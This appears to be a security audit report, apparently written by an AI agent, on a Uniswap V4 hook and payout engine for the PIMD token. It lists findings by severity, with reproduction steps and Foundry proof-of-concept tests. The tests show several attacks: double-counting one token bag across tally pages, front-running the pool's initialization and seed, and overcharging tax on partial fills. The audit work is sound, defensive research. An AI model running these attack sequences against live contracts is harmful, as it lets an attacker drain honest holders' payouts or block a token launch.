lowflush pays engine, team and tipper atomically, so IMD refusing any one of them strands the holders' slice at the hook for goodsrc/pimd/PimdHook.sol:389
unlockCallback burns the claims and takes to the engine, the team wallet and the caller in one unlock. take does a plain ERC-20 transfer with no gas cap or try/catch, so if IMD (somebody else's token, whose owner's powers are not public, as the engine's own comments say) ever refuses transfers to the hard-coded TEAM_WALLET or to the engine, every flush reverts. holdersOwed and the backing claims then grow forever with no path out, since the team address is a source constant and there is no partial flush.

The engine's try/catch means fire() keeps running and tipping keepers from a pot that no longer receives income. The same per-recipient tolerance the engine applies in _send (gas-capped call, failure skipped) is absent here.

Fix shape: pay the three legs independently (skip and keep owed on failure), or at least let a flush that fails on the team leg still move the holders' leg.
State: launched, one 100 IMD buy so holdersOwed = 1.8 IMD and teamOwed = 0.6 IMD.

Make IMD.transfer(TEAM_WALLET, *) revert (vm.mockCallRevert on transfer(team, ...)).

Call hook.flush().

Expected: the holders' 1.8 IMD still reaches the engine.

Actual: flush reverts; hook.holdersOwed() stays 1.8 IMD; a following engine.fire() succeeds with pot == 0 and nothing arrives.

Verified in a scratch test (test_D_flush_atomic).
lowfire() swallows a failing hook.flush() with no event, while the unguarded holdersOwed() view can still brick firesrc/pimd/PimdEngine.sol:247
The try/catch is safe for accounting and liveness: fire() uses nothing from flush's return value, _book only credits IMD that actually arrived, and a reverting flush cannot block the drip. It is not safe for observability: the catch is empty, so a hook that has stopped paying (for any reason, including the atomic-flush failure above) leaves no on-chain trace; Income is not emitted when nothing arrives, and keepers keep collecting fireTip from the shrinking pot.

This is exactly how one breakage already went unnoticed. Two further rough edges: hook.holdersOwed() on line 246 sits outside the try, so a hook whose view reverts does block fire, the opposite of the stated intent; and Solidity does not route return-data decoding failures of flush() into the catch, so a hook returning malformed data would also revert fire.

Fix shape: emit an event (with the pending amount) in the catch, and decide deliberately whether the view call should be inside the guard. No economic change.
State: launched, holdersOwed > 0, one registered holder past the first hour.

Make hook.flush() revert (vm.mockCallRevert on flush(), or the team-leg failure above).

Call engine.fire().

Expected: a visible signal that income was not pulled.

Actual: fire() succeeds, emits Fired(epoch, 0, 1) and no Income/failure event; engine.pendingAtHook() is unchanged and the keeper is tipped if the pot allows.

Verified in a scratch test (test_D_flush_atomic).
lowSelling the whole bag and buying it back before the next tally keeps the full hold streaksrc/pimd/PimdEngine.sol:285
The streak is driven only by comparing balanceOf at tally time with lastBal from the previous tally; the token deliberately has no transfer bookkeeping. Any trading between two tallies that ends with the balance equal to (or above) the last snapshot is invisible: equal keeps the clock as it was, above blends only the difference. So the documented rule 'selling or sending PIMD out restarts the clock' holds only for holders whose balance is still lower at the next tally.

A holder can sell at a high, rebuy at a low, park any surplus elsewhere, and be tallied at 3x as if they never moved. The 'buying more blends by size' rule is likewise applied at tally time rather than at receipt time, under-crediting legitimate top-ups. This is a consequence of the snapshot design rather than a coding slip; reported because the README and NatSpec state the stronger rule, and because the tally is permissionless so the window between tallies is public.
State: alice bought 100 IMD of PIMD, registered, 15 days later tallied at tierBps 30000 with lastBal = bag.

Alice sells 100% of the bag (balance 0), buys 200 IMD worth back, transfers the surplus to bob so her balance is exactly bag again.

Three minutes later fire/tally/pay.

Expected per the stated rule: tier 0 (clock restarted by the sale).

Actual: engine.holderInfo(alice).tierBps == 30000; she is paid the 3x weight.

Verified in a scratch test (test_G_streak_survives_round_trip).
lowfire() pays fireTip from the pot even when no epoch opens (no registered holders)src/pimd/PimdEngine.sol:268
tipBudget is set to 5% of the computed drip before the if (drip != 0 && n != 0) block, and _tip(fireTip) runs unconditionally after it. When holders.length == 0 the pot is not released (correct), lastFire is still advanced (so the release is deferred, not lost), but the caller is paid fireTip out of the pot anyway.

Anyone can repeat this every minInterval (2 minutes) until registration happens, skimming up to min(fireTip, 5% of the would-be drip) per call from holders' money for a no-op. Bounded by the budget formula, so the loss is small, but it is a tip for work that does not exist and the 'tips never exceed 5% of an epoch's drip' comment assumes an epoch.
State: launched, a 500 IMD buy flushed so the engine holds 9 IMD, holderCount() == 0, two days elapsed. keeper calls engine.fire().

Expected: nothing to distribute, no tip.

Actual: phase stays Idle, no epoch opens, pot drops from 9.0 to 8.98 IMD and the keeper receives 0.02 IMD (fireTip); two minutes later a second fire() pays a further 0.0024 IMD.

Verified in a scratch test (test_H_fire_tip_without_epoch).
info_INSWAP_SLOT is never set: dead fee-bypass branch left over from the v1 self-swapsrc/pimd/PimdHook.sol:244
beforeSwap and afterSwap both return early with no fee when the transient slot pimd.hook.inswap is 1, but no code path in the contract writes that slot (it belonged to v1's burn-buy, which was removed along with ACTION_BURN). Today it is unreachable and harmless; it is audit surface that reads as a tax bypass and should be deleted, or documented if the self-swap is coming back.

The accompanying noSelfCall reliance is sound: the hook never calls initialize, modifyLiquidity or swap on the PoolManager, so the Hooks library's self-call skip cannot be used to bypass beforeInitialize, beforeAddLiquidity or beforeRemoveLiquidity.
grep for _INSWAP_SLOT in src/pimd/PimdHook.sol: three reads (lines 81, 244, 265), zero writes. Every swap therefore takes the taxed path; the branch has no triggering input.

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#1871Claudefound 1 high, 3 medium, 7 low, 5 info
The review is complete. .imd-findings.json holds 16 findings, every one reproduced against the code, with four Foundry proofs that fail on the current tree. No tracked file was touched; the only writes were the findings file and test/scratch/.

What I kept, merged across the four specialists

High, PimdEngine tally (line 283). Paged tally reads live balances, so one bag moved between two registered wallets between pages is weighed twice. My self-contained proof shows two wallets sharing one bag taking two thirds of an epoch against an identical honest bag's one third. No PoolManager unlock is involved, so the flash guard does not see it.

Medium, PimdHook beforeInitialize (line 217). currency0 is never checked against IMD. Any ERC-20 sorting below PIMD can bind the hook forever. Reachable only if the factory's initialize is not in the hook's deployment transaction, which the factory code in this tree cannot confirm. Proof is the specialist's, verified failing.

Medium, PimdHook beforeAddLiquidity (line 306). The single add goes to whoever is first. A dust add above the opening tick locks the factory out of its seed. Reentrancy and self-call routes are closed; this ordering gap is the only one left. Specialist proof verified failing.

Medium, PimdHook beforeSwap (line 253). Tax is minted on the specified amount before the pool fills. A price-limited exact-in buy paid the full 24 IMD tax on a fill of 0.003 IMD, and an exact-out sell over the pool's IMD paid 59 IMD against 5.4 IMD due. Own proof, both cases.

Seven lows. Flush is all-or-nothing across engine, team and tipper. The empty catch around flush hides pull failures and still tips the keeper, which answers the try/catch question: safe for funds, unsafe for observability. The unlock guard misses lenders outside V4. Sell-and-rebuy before the next tally keeps the streak. bind() accepts a hook that pays a different engine. One minBalance bag registers unlimited addresses. fireTip is paid with no holders registered.

Five infos. Dead _INSWAP_SLOT branches, dead LAUNCH_CAP_MAX_SECONDS, stale README and NatSpec economics, burns to address(0) uncounted, and a second un-hooked pool trading untaxed.

What I checked and found sound. beforeRemoveLiquidity refuses every negative delta from any caller and allows zero, confirmed from the position owner's router. Claims minted always equal holdersOwed plus teamOwed and flush cannot burn more than it holds. fire, tally and pay do refuse inside a PoolManager unlock, and one refused IMD recipient does not stall a pay batch.

Dropped or folded. Three duplicate quote-pinning reports, two seed-hijack duplicates, four try/catch and four _INSWAP_SLOT duplicates were merged. The "any contract can be registered" note was folded into the register finding as a launch-policy remark rather than kept as its own defect.
ran onclaude · claude-fable-5-1 · 36 turns · 16m 6s · 578 in · 52.2K out · 2.5M cached
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highPaged tally weighs live balances, so one bag of PIMD moved between pages is counted once per registered walletsrc/pimd/PimdEngine.sol:283
tally() reads each registered holder's current balanceOf on the page that reaches it, compares it only with that holder's own lastBal, and tally is permissionless with a caller-chosen page size. Nothing ties the pages of one epoch to a single balance snapshot.

One bag of PIMD can therefore register several wallets (register only needs the bag parked in the wallet at the moment of the call), and in every epoch the bag is parked in wallet A when the page containing A is tallied and moved to wallet B before the page containing B is tallied. Both wallets see bal == lastBal, so neither streak resets and neither blends; both are weighed at bag x tier.

With N wallets the same tokens carry N times their weight, totalWeight is inflated, and every honest holder's mulDiv(total, w, tw) share in pay() shrinks accordingly. fire(), tally() and pay() are all permissionless, so the whole sequence can run in one transaction as soon as lastFire + minInterval has passed; no keeper race and no PoolManager unlock is involved, so the _requireLocked() guard does not see it. pay() is correctly frozen on epochQuote and totalWeight; tally is the only inconsistent read.

Merged from audit_economics and audit_permissions, which reported the same mechanism. Fixing it means making one epoch's weights unmovable across pages: finish the tally in a single call, or weigh every page against balances fixed when the epoch fired (for example min(bal, lastBal) with increases counted from the next epoch, or a checkpointed read). This changes no rate, split or tier.
State: launched pool, engine bound and pot funded (100 IMD), tips set to 0 for clean numbers.

Wallet A holds BAG = 1,000,000 PIMD and registers; the bag is sent to wallet B, B registers; the bag is sent back to A.

Carol holds her own identical BAG and registers.

Registration order [A, B, carol], 15 days pass.

Calls: fire(); tally(1) (page ends after A, A weighed at BAG x 3); token.transfer(A -> B, BAG); tally(10) (B weighed at BAG x 3, carol at BAG x 3); pay(10).

Expected: A + B together receive at most what carol receives, since they held one bag between them for exactly as long.

Actual (test/scratch/PagingDoubleCount.t.sol, failing on this code): imd(A) + imd(B) = 41639116884859839266 wei, imd(carol) = 20819558442429919634 wei; the pair took two thirds of the epoch with the same bag carol held for one third.

Repeatable every epoch by moving the bag back before the first page.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol"; import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol"; import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol"; import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol"; import {Currency} from "@uniswap/v4-core/src/types/Currency.sol"; import {ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol"; import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol"; import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol"; import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol"; import {LiquidityAmounts} from "v4-periphery/src/libraries/LiquidityAmounts.sol"; import {HookMiner} from "v4-periphery/test/shared/HookMiner.sol"; import {ERC20} from "solmate/src/tokens/ERC20.sol"; import {PimdToken} from "src/pimd/PimdToken.sol"; import {PimdHook} from "src/pimd/PimdHook.sol"; import {PimdEngine} from "src/pimd/PimdEngine.sol"; contract MockIMD is ERC20("Identity.md", "IMD", 18) { function mint(address to, uint256 amount) external { _mint(to, amount); } } /// The production hook writes the engine and team into its source; this only points them at test doubles. contract HookHarness is PimdHook { address private immutable _engine; address private immutable _team; constructor(IPoolManager pm, address token_, address engine_, address team_) PimdHook(pm, token_) { _engine = engine_; _team = team_; } function engine() public view override returns (address) { return _engine; } function team() public view override returns (address) { return _team; } } /// tally() reads each holder's live balanceOf on the page that reaches it, and tally is permissionless with a /// caller-chosen page size. Nothing ties the pages of one epoch to a single snapshot, so one bag of PIMD moved /// between two registered wallets between two pages is weighed twice. Expected: two wallets that together hold /// one bag are paid no more than a third wallet holding the same bag. Actual: they are paid twice as much. contract PagingDoubleCountTest is Test { uint160 constant HOOK_FLAGS = uint160( Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG ); int24 constant START_TICK = 129_000; int24 constant TICK_LOWER = 82_980; uint256 constant BAG = 1_000_000e18; IPoolManager manager; PoolModifyLiquidityTest lpRouter; MockIMD imd; PimdToken token; PimdHook hook; PimdEngine engine; PoolKey key; address team = makeAddr("team"); address walletA = makeAddr("walletA"); address walletB = makeAddr("walletB"); address carol = makeAddr("carol"); function setUp() public { manager = IPoolManager(address(new PoolManager(address(this)))); lpRouter = new PoolModifyLiquidityTest(manager); imd = new MockIMD(); engine = new PimdEngine( PimdEngine.Config({ poolManager: address(manager), imd: address(imd), team: team, binder: address(this), dripBpsPerPeriod: 400, minInterval: 2 minutes, minBalance: 100_000e18, fireTip: 0, tipPerHolder: 0, maxCatchup: 6 hours }) ); token = PimdToken(_deployTokenAbove(address(imd))); bytes memory args = abi.encode(manager, address(token), address(engine), team); (address hookAddr, bytes32 salt) = HookMiner.find(address(this), HOOK_FLAGS, type(HookHarness).creationCode, args); hook = PimdHook(payable(address(new HookHarness{salt: salt}(manager, address(token), address(engine), team)))); require(address(hook) == hookAddr, "hook addr"); key = PoolKey({ currency0: Currency.wrap(address(imd)), currency1: Currency.wrap(address(token)), fee: 12_500, tickSpacing: 60, hooks: IHooks(address(hook)) }); manager.initialize(key, TickMath.getSqrtPriceAtTick(START_TICK)); uint256 amount = token.balanceOf(address(this)) * 9 / 10; uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtPriceAtTick(TICK_LOWER), TickMath.getSqrtPriceAtTick(START_TICK), amount ); token.approve(address(lpRouter), type(uint256).max); lpRouter.modifyLiquidity( key, ModifyLiquidityParams({ tickLower: TICK_LOWER, tickUpper: START_TICK, liquidityDelta: int256(uint256(liquidity)), salt: 0 }), "" ); engine.bind(address(token), address(hook)); // The pot is funded directly so the payout maths is the only thing under test. imd.mint(address(this), 100e18); imd.approve(address(engine), type(uint256).max); engine.seed(100e18); } function test_one_bag_moved_between_pages_is_not_weighed_twice() public { // One bag registers two wallets: register A holding it, pass it to B, register B, pass it back to A. // Carol holds an identical bag of her own. Registration order is [A, B, carol]. token.transfer(walletA, BAG); _register(walletA); vm.prank(walletA); token.transfer(walletB, BAG); _register(walletB); vm.prank(walletB); token.transfer(walletA, BAG); token.transfer(carol, BAG); _register(carol); assertEq(engine.holderCount(), 3, "three registered"); vm.warp(block.timestamp + 15 days); // everyone is in the same tier engine.fire(); assertEq(uint8(engine.phase()), uint8(PimdEngine.Phase.Tally), "epoch open"); // Page 1 weighs A with the bag, then the bag moves to B before page 2 weighs B with the same bag. engine.tally(1); vm.prank(walletA); token.transfer(walletB, BAG); if (engine.phase() == PimdEngine.Phase.Tally) engine.tally(10); assertEq(uint8(engine.phase()), uint8(PimdEngine.Phase.Pay), "tallied"); engine.pay(10); assertEq(uint8(engine.phase()), uint8(PimdEngine.Phase.Idle), "paid"); uint256 pair = imd.balanceOf(walletA) + imd.balanceOf(walletB); uint256 honest = imd.balanceOf(carol); assertGt(honest, 0, "carol was paid"); // A and B held exactly one bag between them, for exactly as long as carol held hers. assertLe(pair, honest + 1, "one bag must not be paid twice: A+B took more than carol"); } function _register(address who) internal { address[] memory a = new address[](1); a[0] = who; engine.register(a); } function _deployTokenAbove(address floor) internal returns (address) { bytes32 initHash = keccak256(type(PimdToken).creationCode); for (uint256 i; i < 100_000; ++i) { bytes32 salt = bytes32(i); address predicted = vm.computeCreate2Address(salt, initHash, address(this)); if (uint160(predicted) > uint160(floor)) { PimdToken t = new PimdToken{salt: salt}(); require(address(t) == predicted, "create2"); return address(t); } } revert("no salt"); } }
mediumbeforeInitialize never checks that currency0 is IMD, so any ERC-20 sorting below PIMD can be bound as the quote foreversrc/pimd/PimdHook.sol:217
The gate requires currency1 == PIMD and currency0 != PIMD and != address(0), then records quote = currency0 and sets launched for good. It never compares currency0 with IMD, although the engine at ENGINE_ADDRESS pays out its immutable imd and nothing else, every claim is minted against quoteId, flush take()s quote, and _book() reads imd.balanceOf.

The brief's point that every fee calculation depends on the quote being currency0 is satisfied (c1 is pinned to PIMD so c0 is the quote), but which token the quote is remains unchecked. PoolManager.initialize is permissionless and the sender argument is discarded, so the first caller after the hook has code decides the quote.

Preconditions: the factory's own initialize does not land in the same transaction as the hook's deployment (a window the launch factory code, which is not in this tree, would have to close), or the factory passes a wrong currency0 by mistake.

Consequences: the factory's IMD pool is refused with AlreadyLaunched and the hook is spent; if trading ever happens on the foreign-quote pool, flush pushes the foreign token to the engine, which books only IMD, so the holders' 75% is stranded with no sweep and the team is paid in the foreign token. Four specialists reported this (one as high, three as medium); merged here as medium because reachability depends on the factory window.

The hook already knows engine(), and the engine exposes imd() as a public immutable, so a one-line check (revert unless c0 == PimdEngine(engine()).imd()) pins the quote and also fails loudly on a chain where ENGINE_ADDRESS has no code. Checking the sender against the deployer is an alternative that also covers the seed.
State: a freshly deployed, unlaunched PimdHook for PIMD; junk = any other ERC-20 whose address sorts below PIMD.

Input: any address calls manager.initialize(PoolKey{currency0: junk, currency1: PIMD, fee: 12500, tickSpacing: 60, hooks: hook}, TickMath.getSqrtPriceAtTick(129000)).

Expected: the hook reverts, launched() stays false, and a later initialize with currency0 = IMD succeeds.

Actual (test/scratch/P1_WrongQuote.t.sol, the audit_economics proof, failing on this code with 'next call did not revert as expected'): the call succeeds, hook.launched() == true, hook.quote() == junk, and the IMD initialize then reverts AlreadyLaunched.

The audit_math proof (test/scratch/P3_InitFrontRun.t.sol) reproduces the same from a non-factory sender.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol"; import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol"; import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol"; import {Currency} from "@uniswap/v4-core/src/types/Currency.sol"; import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol"; import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol"; import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol"; import {HookMiner} from "v4-periphery/test/shared/HookMiner.sol"; import {ERC20} from "solmate/src/tokens/ERC20.sol"; import {PimdToken} from "src/pimd/PimdToken.sol"; import {PimdHook} from "src/pimd/PimdHook.sol"; import {PimdEngine} from "src/pimd/PimdEngine.sol"; contract MockIMD is ERC20("Identity.md", "IMD", 18) { function mint(address to, uint256 amount) external { _mint(to, amount); } } contract HookHarness is PimdHook { address private immutable _engine; address private immutable _team; constructor(IPoolManager pm, address token_, address engine_, address team_) PimdHook(pm, token_) { _engine = engine_; _team = team_; } function engine() public view override returns (address) { return _engine; } function team() public view override returns (address) { return _team; } } /// The hook's tax, its claims, its flush and the engine's payout all assume currency0 is IMD, the asset the engine /// was built for. beforeInitialize only checks that currency1 is PIMD, so any ERC-20 that sorts below PIMD is /// accepted as the quote. PoolManager.initialize is permissionless, so whoever calls it first with a junk /// currency0 spends the hook's single launch, and the real IMD pool can never open on this hook. contract WrongQuoteTest is Test { uint160 constant HOOK_FLAGS = uint160( Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG ); int24 constant START_TICK = 129_000; IPoolManager manager; MockIMD imd; MockIMD junk; PimdToken token; PimdHook hook; PimdEngine engine; address team = makeAddr("team"); address attacker = makeAddr("attacker"); function setUp() public { manager = IPoolManager(address(new PoolManager(address(this)))); imd = new MockIMD(); junk = new MockIMD(); // any other ERC-20 that sorts below PIMD engine = new PimdEngine( PimdEngine.Config({ poolManager: address(manager), imd: address(imd), team: team, binder: address(this), dripBpsPerPeriod: 400, minInterval: 2 minutes, minBalance: 100_000e18, fireTip: 0.02e18, tipPerHolder: 0.0005e18, maxCatchup: 6 hours }) ); address floor = uint160(address(imd)) > uint160(address(junk)) ? address(imd) : address(junk); token = PimdToken(_deployTokenAbove(floor)); bytes memory args = abi.encode(manager, address(token), address(engine), team); (address hookAddr, bytes32 salt) = HookMiner.find(address(this), HOOK_FLAGS, type(HookHarness).creationCode, args); hook = PimdHook(payable(address(new HookHarness{salt: salt}(manager, address(token), address(engine), team)))); require(address(hook) == hookAddr, "hook addr"); } function test_initialize_refuses_a_quote_that_is_not_imd() public { PoolKey memory bad = PoolKey({ currency0: Currency.wrap(address(junk)), currency1: Currency.wrap(address(token)), fee: 12_500, tickSpacing: 60, hooks: IHooks(address(hook)) }); // The hook must refuse a pool whose quote is not the asset the engine pays out. vm.prank(attacker); vm.expectRevert(); manager.initialize(bad, TickMath.getSqrtPriceAtTick(START_TICK)); // And the real pool still opens afterwards. PoolKey memory good = PoolKey({ currency0: Currency.wrap(address(imd)), currency1: Currency.wrap(address(token)), fee: 12_500, tickSpacing: 60, hooks: IHooks(address(hook)) }); manager.initialize(good, TickMath.getSqrtPriceAtTick(START_TICK)); assertTrue(hook.launched(), "launched on IMD"); assertEq(Currency.unwrap(hook.quote()), address(imd), "the quote is IMD"); } function _deployTokenAbove(address floor) internal returns (address) { bytes32 initHash = keccak256(type(PimdToken).creationCode); for (uint256 i; i < 100_000; ++i) { bytes32 salt = bytes32(i); address predicted = vm.computeCreate2Address(salt, initHash, address(this)); if (uint160(predicted) > uint160(floor)) { PimdToken t = new PimdToken{salt: salt}(); require(address(t) == predicted, "create2"); return address(t); } } revert("no salt"); } }
mediumbeforeAddLiquidity gives the single permitted add to whoever is first, so a stranger's dust add locks the factory out of its seedsrc/pimd/PimdHook.sol:306
The one-add rule is a boolean flipped on the first beforeAddLiquidity with no check of the sender, the range, the side or the size.

Between PoolManager.initialize and the factory's modifyLiquidity, any address can add dust liquidity through any router: a range strictly above the opening tick needs only IMD, which anyone holds. seeded flips to true, the factory's real single-sided seed of 90% of the supply reverts LiquidityIsLocked, and since nothing resets seeded or launched the pool stays essentially empty and the launch must be redone with a new hook.

The reentrancy and self-call routes the brief asks about are closed: seeded is written before the hook returns and beforeAddLiquidity makes no external call; the hook has no code path that calls modifyLiquidity, so the Hooks.noSelfCall skip is unreachable; unlockCallback only knows ACTION_FLUSH; and a reverting add reverts the flag with it.

The only remaining way to slip a wrong add through is this ordering one, and it exists only if the factory's initialize and seed are not in one transaction (or a reverted seed leaves the pool initialized but unseeded). Three specialists reported it; merged as medium.

Fixing it means tying the one add to the pool's opener (record the sender passed to beforeInitialize and require beforeAddLiquidity's sender to match) or requiring the add in initBlock; both keep the single-seed design.
State: pool initialized by the factory stand-in (hook.launched() == true, hook.seeded() == false), seed not yet sent.

Input: a stranger holding 1e18 IMD calls PoolModifyLiquidityTest.modifyLiquidity(key, {tickLower: 129060, tickUpper: 129120, liquidityDelta: 1e6, salt: 0}).

Expected: refused; hook.seeded() stays false and the factory's seed succeeds.

Actual (test/scratch/P2_FrontRunSeed.t.sol, the audit_economics proof, failing on this code with 'next call did not revert as expected'): the dust add succeeds, hook.seeded() == true, and the factory's seed of ~900M PIMD then reverts LiquidityIsLocked.

The audit_math proof (test/scratch/P3_InitFrontRun.t.sol) shows the same with liquidityDelta = 1 in the factory's own range.
proof · a Foundry test the fix has to pass
// SPDX-License-Identifier: MIT pragma solidity 0.8.26; import {Test} from "forge-std/Test.sol"; import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol"; import {IUnlockCallback} from "@uniswap/v4-core/src/interfaces/callback/IUnlockCallback.sol"; import {PoolManager} from "@uniswap/v4-core/src/PoolManager.sol"; import {PoolModifyLiquidityTest} from "@uniswap/v4-core/src/test/PoolModifyLiquidityTest.sol"; import {PoolKey} from "@uniswap/v4-core/src/types/PoolKey.sol"; import {Currency} from "@uniswap/v4-core/src/types/Currency.sol"; import {BalanceDelta} from "@uniswap/v4-core/src/types/BalanceDelta.sol"; import {ModifyLiquidityParams} from "@uniswap/v4-core/src/types/PoolOperation.sol"; import {TickMath} from "@uniswap/v4-core/src/libraries/TickMath.sol"; import {Hooks} from "@uniswap/v4-core/src/libraries/Hooks.sol"; import {IHooks} from "@uniswap/v4-core/src/interfaces/IHooks.sol"; import {LiquidityAmounts} from "v4-periphery/src/libraries/LiquidityAmounts.sol"; import {HookMiner} from "v4-periphery/test/shared/HookMiner.sol"; import {ERC20} from "solmate/src/tokens/ERC20.sol"; import {PimdToken} from "src/pimd/PimdToken.sol"; import {PimdHook} from "src/pimd/PimdHook.sol"; import {PimdEngine} from "src/pimd/PimdEngine.sol"; contract MockIMD is ERC20("Identity.md", "IMD", 18) { function mint(address to, uint256 amount) external { _mint(to, amount); } } contract HookHarness is PimdHook { address private immutable _engine; address private immutable _team; constructor(IPoolManager pm, address token_, address engine_, address team_) PimdHook(pm, token_) { _engine = engine_; _team = team_; } function engine() public view override returns (address) { return _engine; } function team() public view override returns (address) { return _team; } } /// A stand-in for the launch factory: holds the supply, initializes the pool and seeds it itself, as the real /// factory does, so the hook sees the same `sender` for both calls. contract MiniFactory is IUnlockCallback { IPoolManager immutable pm; constructor(IPoolManager pm_) { pm = pm_; } function open(PoolKey memory key, uint160 sqrtPriceX96) external { pm.initialize(key, sqrtPriceX96); } function seed(PoolKey memory key, ModifyLiquidityParams memory p) external { pm.unlock(abi.encode(key, p)); } function unlockCallback(bytes calldata data) external returns (bytes memory) { require(msg.sender == address(pm), "pm"); (PoolKey memory key, ModifyLiquidityParams memory p) = abi.decode(data, (PoolKey, ModifyLiquidityParams)); (BalanceDelta delta,) = pm.modifyLiquidity(key, p, ""); if (delta.amount0() < 0) _settle(key.currency0, uint256(uint128(-delta.amount0()))); if (delta.amount1() < 0) _settle(key.currency1, uint256(uint128(-delta.amount1()))); return ""; } function _settle(Currency c, uint256 amount) internal { pm.sync(c); ERC20(Currency.unwrap(c)).transfer(address(pm), amount); pm.settle(); } } /// beforeAddLiquidity accepts whichever add comes first, from anyone, in any range, of any size. If the factory's /// initialize and seed are not in one transaction, a stranger's dust add between them takes the only slot, the /// factory's seed is refused forever, and the hook, which can launch only once, is spent on an empty pool. contract FrontRunSeedTest is Test { uint160 constant HOOK_FLAGS = uint160( Hooks.BEFORE_INITIALIZE_FLAG | Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG | Hooks.AFTER_SWAP_FLAG | Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG | Hooks.AFTER_SWAP_RETURNS_DELTA_FLAG | Hooks.BEFORE_ADD_LIQUIDITY_FLAG | Hooks.BEFORE_REMOVE_LIQUIDITY_FLAG ); int24 constant START_TICK = 129_000; int24 constant TICK_LOWER = 82_980; IPoolManager manager; MockIMD imd; PimdToken token; PimdHook hook; PimdEngine engine; MiniFactory factory; PoolKey key; address team = makeAddr("team"); address attacker = makeAddr("attacker"); function setUp() public { manager = IPoolManager(address(new PoolManager(address(this)))); imd = new MockIMD(); factory = new MiniFactory(manager); engine = new PimdEngine( PimdEngine.Config({ poolManager: address(manager), imd: address(imd), team: team, binder: address(this), dripBpsPerPeriod: 400, minInterval: 2 minutes, minBalance: 100_000e18, fireTip: 0.02e18, tipPerHolder: 0.0005e18, maxCatchup: 6 hours }) ); token = PimdToken(_deployTokenAbove(address(imd))); token.transfer(address(factory), token.balanceOf(address(this))); // the factory holds the supply bytes memory args = abi.encode(manager, address(token), address(engine), team); (address hookAddr, bytes32 salt) = HookMiner.find(address(this), HOOK_FLAGS, type(HookHarness).creationCode, args); hook = PimdHook(payable(address(new HookHarness{salt: salt}(manager, address(token), address(engine), team)))); require(address(hook) == hookAddr, "hook addr"); key = PoolKey({ currency0: Currency.wrap(address(imd)), currency1: Currency.wrap(address(token)), fee: 12_500, tickSpacing: 60, hooks: IHooks(address(hook)) }); factory.open(key, TickMath.getSqrtPriceAtTick(START_TICK)); assertTrue(hook.launched(), "pool open, not yet seeded"); assertFalse(hook.seeded(), "not yet seeded"); } function test_a_stranger_cannot_take_the_factory_seed_slot() public { // A range strictly above the opening tick needs only IMD, which anyone has. Dust is enough. imd.mint(attacker, 1e18); PoolModifyLiquidityTest attackerRouter = new PoolModifyLiquidityTest(manager); vm.startPrank(attacker); imd.approve(address(attackerRouter), type(uint256).max); vm.expectRevert(); attackerRouter.modifyLiquidity( key, ModifyLiquidityParams({tickLower: START_TICK + 60, tickUpper: START_TICK + 120, liquidityDelta: 1e6, salt: 0}), "" ); vm.stopPrank(); // The factory's own single-sided seed must still go through. uint256 amount = token.balanceOf(address(factory)) * 9 / 10; uint128 liquidity = LiquidityAmounts.getLiquidityForAmount1( TickMath.getSqrtPriceAtTick(TICK_LOWER), TickMath.getSqrtPriceAtTick(START_TICK), amount ); factory.seed( key, ModifyLiquidityParams({ tickLower: TICK_LOWER, tickUpper: START_TICK, liquidityDelta: int256(uint256(liquidity)), salt: 0 }) ); assertTrue(hook.seeded(), "the factory seeded"); assertGt(token.balanceOf(address(manager)), 800_000_000e18, "the supply is in the pool"); } function _deployTokenAbove(address floor) internal returns (address) { bytes32 initHash = keccak256(type(PimdToken).creationCode); for (uint256 i; i < 100_000; ++i) { bytes32 salt = bytes32(i); address predicted = vm.computeCreate2Address(salt, initHash, address(this)); if (uint160(predicted) > uint160(floor)) { PimdToken t = new PimdToken{salt: salt}(); require(address(t) == predicted, "create2"); return address(t); } } revert("no salt"); } }
mediumTax is charged on the specified amount, not the filled one: a partially filled exact-in buy or exact-out sell pays tax on IMD that never tradedsrc/pimd/PimdHook.sol:253
For the two cases where IMD is the specified side (exact-in buy, exact-out sell) beforeSwap computes the fee from params.amountSpecified and mints that many claims before the pool has decided how much it can fill. A V4 swap stops at sqrtPriceLimitX96 or when the range runs out and returns the smaller delta, but the hook's BeforeSwapDelta of +fee is charged to the swapper in full and afterSwap books the whole fee into holdersOwed and teamOwed.

